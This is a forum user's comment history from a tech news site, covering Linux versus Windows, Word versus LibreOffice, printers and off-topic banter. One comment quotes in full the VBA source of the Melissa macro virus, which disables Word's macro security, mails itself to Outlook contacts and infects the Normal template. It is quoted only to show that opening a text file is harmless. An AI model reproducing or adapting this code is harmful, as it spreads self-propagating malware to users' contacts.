* Posts by Pompous Git

2989 posts • joined 24 Sep 2014

Munich council: To hell with Linux, we're going full Windows in 2020

Pompous Git
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"A couple of us showed you links to articles on El Reg covering that. Why don't you go and read them?

"

I did. They weren't at all about "opening a text file"; they describe executing the commands in a Word document by opening a word document and explicitly allowing Word to run the malicious code therein. Word warns you when opening such a document.

Melissa.txt I describe below is a text file. Opening it in Word, or Notepad does not infect the machine. Your claim is thus demonstrated to be totally and utterly false.

BTW LibreOffice Writer also allows the creation of macros. Since that application also runs on Linux, it's possible for documents opened on that platform to do malicious things.

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Pompous Git
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Re: Politics is nothing to do with it.

"Hilarious. So in other words you can't name a better product."
More to the point, nobody seems able to. Centrelink moving from Domino/Notes to Exchange, Quantas moving from Domino/Notes to Exchange... Asking around, can't find anyone moving the opposite way. Maybe Naseby Town Council is ;-)

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Pompous Git
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"Never ceases to amaze me..."
Really? How amazing is claiming "opening a text file (document) still gets the machine infected. In 2017."

I saved the following text as melissa.txt:

"Private Sub Document_Open()

On Error Resume Next

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then

CommandBars("Macro").Controls("Security...").Enabled = False

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&

Else

CommandBars("Tools").Controls("Macro").Enabled = False

Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"

End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = "Melissa"

DoAD = True

End If

If NTI1.Name <> "Melissa" Then

If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = "Melissa"

DoNT = True

End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then

Do While ADI1.CodeModule.Lines(1, 1) = ""

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")

Do While ADI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

If DoAD = True Then

Do While NTI1.CodeModule.Lines(1, 1) = ""

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")

Do While NTI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then

ActiveDocument.Saved = True

End If"

Then I opened the melissa.txt file by double-clicking it. Suddenly, nothing happened except the text file was open in Notepad. You claim my computer is now infected. Because 2017. You either know sweet fuck all about computing, or you are assuming other commentards know sweet fuck all.

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Pompous Git
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Re: No bullshit, Git.

@ TheVogon

I should have been more explicit. Way back the option to permanently disable macros was in the dialog box that popped up warning you there were macros in the document. The option is no longer there, but is of course located where you say.

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Pompous Git
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Re: That would be Canadian.

"And you mispleled "Lemieux"."
The ability to plele correctly is far from universal...

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Pompous Git
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Mushroom

Re: Isn't it amazing ...

"One would think that Microsoft hasn't had very many of what could be perceived as "victories" recently."
That's because it's very hard to shoot your second foot off. The first is easy, you're standing still, but when you need to hop around in a semi-random way, it's difficult to aim straight ;-)

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Pompous Git
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@ Kiwi

See my reply to jake.

Checking further I see that Word's default is to run macros on a document, by document basis. As it should be. You need to give explicit permission to be affected by a macro virus.

Yes, I'm on drugs of the pain-killing variety. But they do not give me the illusions that seem to be afflicting you today. I know workplaces where we achieved throughput increases well in excess of an order of magnitude through judicious use of macros and Word's other built-in smarts.

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Pompous Git
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Re: Not sure about Office?

"And how long did that take and cost versus - uhm - maybe just using Windows / IIS ?!"
How would he know given that there's no way he got that all finished yet...

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Pompous Git
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Re: No bullshit, Git.

"You;d think the brain-trust at Redmond would have figured out the "macro malware on open" thing before they unleashed Office 2K on the unsuspecting world..."
TBH, I thought they had and that many years ago. I still have a sample Word DOC file (not a text file, but a binary) that has the original macro virus. Opening it in Word 2010 generates a message that the document contains macros and you have the option of either enabling macros or not. The option of "permanently" disabling macros that was there 20 years ago seems to have gone MIA somewhere along the line. Presumably macros in DOCX files are also detected.

Plain text files have always had the potential to cause mayhem. They are called batch files and can be created on *nix, not just Windows. I'm willing to bet that you could write a batch file to delete a bunch of files, name it "Run me to become a Instant Multimillionaire.bat" and idiots would run it to see what happens.

A Word document has never been a "plain text file". It may no longer be a binary, but it's always had a list of commands for Word to execute as well as the text you read. Not just macros, but all the formatting and other stuff as well, like requesting user input.

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Pompous Git
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Re: Politics is nothing to do with it.

"1. Exchange calendaring is dire, apparently unable to cope even with switching to or from summertime."

I have yet to see anything better

Go and find a 2yo to give some crayons to. A minute later you'll have something much better than exchange."

Obviously you are on drugs...

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Pompous Git
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"That's why opening a text file (document) still gets the machine infected. In 2017."
That sounds like complete bullshit. And why 2017?

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Pompous Git
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Re: Politics

"going back to the article which is about windows and linux you will see one of the reasons that they are ditching it is user unfamiliarity... after SEVERAL YEARS the users are still struggling with linux.

While I agree that linux is probably the way forward, its not there yet."

But they weren't using Cinnamon Mint in Munich. Shortly after I commenced using that distro, MS began fucking over Win7 installations and several of the friends/rellies that rely on me for support had me fix the problem. I replaced Win7 with Cinnamon Mint, showed them how to keep the system updated and that my friend has been that. Twelve months of zero demands for ongoing support. Local computer dude started doing this some time before me and reports that the only users having problems are those who can't resist fucking about in the system. Fortunately few in number.

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Pompous Git
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Re: FAO: Mrs Git @ jake

"Your Gitness would do well to ignore the portability issue."
Portability in a workstation provides me with nil benefit. rather the reverse. I have a Zenbook that weighs a mere ~1 kg for "travel" that's largely restricted to visits to the city to see doctors. Only needed for web browsing/email and occasional game play. Even that gets left behind in favour of the Galaxy Note 3 I recently acquired. More than good enough for email now I have that via a decent web interface.

A portable has a screen that is arguably inferior to my two Dell 27 inchers and even my el cheapo 19". The keyboard is also redundant. For some reason I've accumulated several that are better than any laptop keyboard I've used. I have an aversion to trackpads and usually use a Verbatim bluetooth mouse with the Zenbook. Any power saving would be insufficient to recover the cost of these various redundant parts.

The Antec computer case to my left is on its second MoBo (both ASUS) and its second cpu. Originally a Core i3, it's currently inhabited by an unlocked Core i5. Unlike a lappy, it contains a couple of full-size hdds and an optical drive. There's plenty of room for more. When something in it dies, it's easily replaced by me. The original video adapter fan died and was replaced by a standard computer fan with the aid of a glue gun and soldering iron for example. Couldn't source the type of fan that came with the adapter.

Yes, there are plenty of use cases for portable workstations, but I'm really not a candidate. The arthritis bites so I'll not travel much beyond Hobart from this point on. Last trip airport security insisted I go through the checkpoint without my shoes, or walking cane. I slipped on the tile floor, badly bruising my hip and elbow. Previous trip a passenger at Sydney airport kicked my legs out from under me. I ache enough already without that kind of shit happening.

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Pompous Git
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Re: Jeeeezzzzzzzzzzzzzzzzz

"I was living with an Ozzie once

Never again"

Aah diddums... I've been living with mine for 37 years come the end of this month. I just don't seem to be able to stop myself falling in love with her every day. Not that I've tried...

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Pompous Git
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"its a pity some in the Linux community have a lack of understanding when it comes to dealing with people who ask for help."
Amen to that. Must say though it's not as bad as it used to be 10–15 years ago.

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Pompous Git
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Re: Windows is for grandmothers...

"Remember how Word came into being? It was commissioned by Apple, because they did not have a large enough software team to develop both the GUI for the Macintosh and applications."
I take it you write fiction for a living... The original wysiwyg word processor for the Mac was MacWrite and was part of the original Mac package along with MacPaint.

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Pompous Git
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Re: FAO: Mrs Git

@ Fruit and Nutcase and vincent himpe

Thanks for the suggestions, but portability in a workstation is something I really don't need. My desktop machine is moved but once a year onto the deck outside my home for a thorough cleansing of dust bunnies. I'm tossing up whether to go with a decent cooler for my unlocked Core i5, or replace it with a Core i7 ~AU400 new.

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Pompous Git
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Automated document creation

What many commentards are missing is that word processing is not just about creating a standalone document; it's about automating the creation of many documents of similar form as efficiently as possible. A common task is merging data from a data source with letters, called a mail merge.

Comparing LibreOffice Writer with Word:

To suppress blank lines (fields without data)

In Word's Mail Merge Helper, click "Don't print blank lines when data fields are empty"

In LibreOffice Writer

1. Insert field

2. Ensure you are entering paragraphs instead of line breaks. Click view, nonprinting characters to check.

3. Hover over field until name appears, e.g. mailmergedata.Sheet1.Address2, and note the name. If the name has spaces do this

4. Place the cursor to the left of the field.

5. Click Insert, Fields, Other

6. Click the Functions tab

7. Select Hidden Paragraph

8. In the Condition box, enter: NOT [field name from step 2],

9. Click Insert (this might not cause any visible change)

10. Click Close

11. Click the View menu and make sure Hidden Paragraphs is unchecked

12. Merge!

In workplaces like legal offices, you will see legal secretaries (though not Mrs Git for many years) generating dozens of documents per hour that would have taken several minutes each to generate without macros and require more careful proof-reading.

The cost of software is trivial compared to well designed document creation and well-trained end users. There's a reason that such workplaces use Word Perfect or MS Word.

Biggest contract I ever had the business acquired Lotus SmartSuite bundled with the PCs they purchased from IBM. When the system dudes evaluated SmartSuite versus MS Office they went with MS. The Lotus product would have cost them more day-to-day because of lost productivity.

Those who slag off MS Word do so on the basis that it's a piece of shit when you try to use it as a substitute for a page layout program. That's as crazy as using a Kubota tractor to commute to work and an Austin Healey Sprite to plough a field.

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Pompous Git
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" there's no good separate style sheet editor, and no separation of style sheet editing from style sheet application.

You may not be aware of it because there's no word processor of note that does it significantly better available for Windows or Linux that I am aware of (maybe WordPerfect, but I never used it)."

Back when Winword and AmiPro were battling for supremacy in the wysiwyg word processor field, AmiPro stored its settings in a separate stylesheet and Winword embedded its stylesheet in the saved document. This meant that every time you revised an AmiPro stylesheet, you changed every previous document that was based on it. To avoid this, you needed to either have some system of document management that stored the document and the historical stylesheet where they could remain associated, or as usually happened, there was a great proliferation of stylesheets. Or so my fellow trainers who specialised in AmiPro told me at the time.

More than 90% of demand for word processor training ca. 1995-1998 was for Word and the balance mostly Word Perfect when Word Perfect for Windows was finally released. And wasn't that a dog's breakfast?

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Pompous Git
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"The big advantage with Linux is that it has a better security model than Windows... "
To which must be added that installs and update are way, way quicker on Linux than Windows.

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Pompous Git
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Re: StargateSg7 / Not sure about Office

"I'm merely highlighting that for someone moving from Windows to Linux/GNU there's a hell of a learning curve which I know does put a lot of people off."
Having moved several friends from Win7 to Linux Cinnamon Mint with no major issues whatsoever, I'm wondering what you're whittering on about. Ordinary Windows users don't come across the underbelly of Windows, nor do ordinary Linux users need GREP, APT etc. BTW it's GREP in Windows too, as well as InDesign.

"But for a new user, you need to spend ages learning what each command or application does as the name has little bearing."
That's true of any computer OS/system. "Abort, Retry, Fail..." “Error #some-large-number: There is no message for this error”...

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Pompous Git
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Re: FAO: Mrs Git

@ Fruit and Nutcase

Thanks for the advice. But will it support two Dell 27" (2560 × 1440) displays? Plenty of Samsung 850 SSDs to hand, and 16GB RAM, but where do I put the two conventional HDDs and optical drive? Cheaper methinks to go with a new MoBo/cpu. Just a bit strapped for cash until the farm's sold. Then I get my 27" Wacom digitising display and I will be a very happy Git indeed.

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Pompous Git
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Re: Outlook

"So why hasn't Redhat (or Suse?) written an alternative to Outlook and Exchange."
And what an excellent question that is. For my 18 months of Living Linuxly, the lack of sync betwixt the Calendar on my desktop and my phone, trivially achieved with Outlook, was a source of much angst. If all you need is Exchange connectivity, Evolution apparently works well.

I don't need that and have discovered a solution that works for me. FastMail is a web-based email client with calendar that I access via my phone, or computer web browser. It lacks a task manager, but I can live with that. The interface is well thought out and the service is reasonably priced.

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Pompous Git
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"The reality is that despite decades of work Linux is "maybe" as user friendly as perhaps windows 98 for a non technical user as a desktop OS with the best distros and more like reverting to windows NT4 with the worst ones, and telling normal users they "should" expend hundreds of hours learning to become a Linux guru just to be able to update and maintain their Linux distro instead of using an almost self maintaining (most of the time) windows environment is just lunacy"
No, the reality is Linux is the easier to use and maintain. Obviously you haven't spent time using a recent distro. I have. I spent 18 months using Linux Cinnamon Mint as my primary OS.

The problem with Linux is an almost complete lack of quality desktop applications. Web browsing (Chrome), playing Civ V on Steam and using system tools were all fine. Mostly I use a word processor for writing and Libre Office worked better than recent versions of Word; it only failed when I was asked to reformat Word docs.

Missing though were many applications I use on a regular and semi-regular basis, such as The Oxford English Dictionary or the Linux equivalents were frankly very badly designed. Very temporarily I've been using Win10 so I could learn enough fix Mrs Git's machine relatively quickly. It is as many agree, a crock of shit! I'm back to Win7 RSN for productivity and Cinnamon Mint for system maintenance stuff. If I could afford to replace my current machine with a grunty i7 it would run Mint as the primary OS and all my Win7 stuff in a VM.

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Pompous Git
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Re: still not able to add page numbers without putting number to first page

"Outlook uses Word as the default "text" editor under the hood."
Back when Tom Syroid and Bo Leuf were writing Outlook 2000 in a Nutshell, the advice was always make damn sure you don't use Word as your email editor.

I'm using FastMail these days and it serves my needs well. Much to my amusement, the lad I used to hire to babysit the Gitling is now one of their top employees. He taught the Gitling QBasic back when he was all of 8 years old :-)

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Pompous Git
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Re: Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

"Many pieces of juicy information could be had from documents back in the day"
Not to mention documents from MS. Turning on Track changes was a source of some amusement :-)

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Pompous Git
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Re: Exchange Servers, eh?

"The document format issue is a red-herring because Office and LibreOffice can both use Open Document Format."
Mrs Git emailed me a 2 page Word document to revise. Libre Office needed 6 pages to display it. Such issues are important within an organisation and has nothing to do with the underlying document format.

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Pompous Git
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Re: still not able to add page numbers without putting number to first page

"Have you seen the bloated insane HTML MSOffice generates?"
I have indeed! A certain Professor Stinkjet sent me an HTML document he claimed was generated by Outlook. It was a simple 3 line email, but the HTML was ~40 pages long! The header revealed that it had been created by Word.

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Pompous Git
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"Same goes for structured and disciplined document writing support "
Word's support for styles is excellent; one of its strongest points actually. Don't blame Word for its users not being properly trained in its use.

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Pompous Git
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Re: Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

"I belive the default within MS Word documents is to keep the last 10 changes - so that you can undo them, saved within the file."
MS Word tracks all changes and is limited only by machine resources. To clear the undo stack: protect the document for forms, execute the UndoClear method in a macro, or close and reopen the document.

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Pompous Git
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"Most office users could do their daily jobs using wordpad"
Most programmers could write all their applications in QBasic, but they don't.

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Pompous Git
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Re: Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

"Documents became fatter and fatter every day. Many, many megabytes. I learnt a little trick."
My trick used to be to turn off Fast saves... (under Tools, Options).

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Windows Update borks elderly printers in typical Patch Tuesday style

Pompous Git
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"Once you know the printer specs, printer drivers are trivial to write."
Perhaps you'd like to write one for Linux then. The Lexmark C543dn driver provided by Lexmark generates an erroneous message when printing: "Warning: waste toner bottle full". Lexmark's solution is to replace the empty toner bottle with a new one! The Linux community response would be a deafening silence were it not for the plaintive emails I received asking if I'd solved the problem yet.

FWIW the erroneous error message doesn't appear in Win 7 or 10. It appears in Linux Cinnamon Mint 17.2 and 18.0.

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Pompous Git
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Re: Of course, one wonders...

"If Apple still supports an Imagewriter (2). That would be telling.."
They stopped supporting my original Wacom digitiser (ADB) many years ago...

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Pompous Git
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Pint

Re: KB2952664

"I agree 100% - and have a pint for saying it for me."
I can't agree more than 100%, so how about two beers?

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Pastry in a manger: We're soz, Greggs man said

Pompous Git
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Re: Grammar!

"Does nobody know how to write English anymore? What you wrote above means that you replaced a sausage roll with Baby Jesus."
Nothing wrong with that! Providing he's been circumcised of course...

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Pompous Git
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Pint

"all while eating and drinking themselves into several stupors."
Sounds like my idea of fun! Does that make me a Christian?

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Pompous Git
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Re: While we're on the subject of outrage...

"I always thought Greggs was the breed of cloned animals they put in their pies."
I would have thought they were the Dreggs...

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Shiver me timbers! 67cm Playmobil pirate ship sets sail for Caribbean

Pompous Git
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Paris Hilton

"Damn. Ok, will dust off my Captain Pugwash outfit. We're talking a pirate nativity scene?"
Butt who wants to play the part of Tom, the cabin boy?

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Mm, sacrilicious: Greggs advent calendar features sausage roll in a manger

Pompous Git
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Re: Assuming the OP is a Christian...

"> you are not the OP

I am."

No! I am the OP...

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Pompous Git
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Re: keep the kosher sausages right next to the halal bacon.

"Certainly fake bacon is available made from Turkey or veggie..."
I notice Beef Oxo is labelled "suitable for vegetarians" these days. Is nothing sacred?

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Pompous Git
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Paris Hilton

Re: Christmas and Religion.

"And what's wrong with being a 17th Century Puritan, may I ask?"
The Puritans were opposed to playing hide-the-sausage for fun.

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US government seizes Texas gun mass murder to demand backdoors

Pompous Git
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Re: Gun Control you say?

"However, at that point the price of a gun had doubled, that's how tight the market was."
When the Port Arthur Massacre occurred, the local butcher was selling a whole sheep, butchered, for $AU15–20. I purchased one last week for $AU260. While it's not the only factor, the very great increase in vermin eating the farmers' grass plays a big role in this. Of course such price increase only affects the poor and nobody really gives a fuck about them.

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Pompous Git
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Pompous Git
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Re: Gun Control you say?

@ HarleyBird

My gerbillist friend says you are being somewhat disingenuous. Russell Street was indeed vacated in 1995, but it didn't cease to be "Russell Street", or "Russell Street Headquarters" when context was insufficient, until 2004 when the buildings were finally repurposed and renamed.

The café my friend received the weapon in apparently remained a favourite location for business dealings between criminals and police for some time after the move.

I freely admit to jumping to an unwarranted conclusion, that the gun was supplied by a policeman or other employee of the force. But it wasn't a very big jump. After all, Martin Bryant's main weapon was purchased by the Victorian Police in a gun buyback some years before Bryant acquired it according to my gerbillist friend. And not forgetting the illicit drugs, weapons and money found in the ceiling of the St Kilda nick many years ago.

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Pompous Git
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Gun-control nuts

One point missing in this discussion: the assumption that introducing gun-control laws will reduce the number of firearms in the hands of criminals. Criminals, by definition, ignore laws. Make it harder for them to obtain firearms legally, they will steal them. That's what has happened here in Australia.

Farms are rather large, so making lots of noise using an angle-grinder to remove guns from gun safes is not a problem when the farmer is away.

The main outcome of our new gun-control laws is a very great increase in the number of vermin: rabbits, wallabies, possums, feral cats etc. Farmers used to be able to keep a loaded gun in the ute while travelling about the farm. Nowadays you have to drive back to the farmhouse to get the gun from the gunsafe, the firing pin from its safe... then drive back to where you saw the vermin...

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Pompous Git
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Re: Gun Control you say?

"You mean the building on Russell Street that was the former police HQ -- having been vacated in 1995, the year before the 1996 Port Arthur shootings?

Something doesn't sound right with your anectdote there."

I haven't lived in Melbourne since 1970 and truly had no idea the police headquarters had moved. My bad. I used to work nearby in late 1970.

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Pompous Git
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Re: Gun Control you say?

"...and the incidence of gun crime plummeted (despite some mythical black market deal)."
Plummet: To cause to drop rapidly, to hurl down.

Bullshit!

Australia -

Homicides 1990–2010

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Alexa, please cause the cops to raid my home

Pompous Git
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Re: Having been at the ex's this morning

"We discovered this when my daughter used it as a teething aid rather than some weird sex thing."
So what happened when she did use it as a "weird sex thing"?

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The NAKED truth: Why flashing us your nude pics is a good idea – by Facebook's safety boss

Pompous Git
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"MOST Of Women Are NOT THAT Attractive NAKED."
Speaking as a 66 y.o. almost every young woman I see is beautiful, clothed or naked, especially when they smile. I think you need to get a grip...

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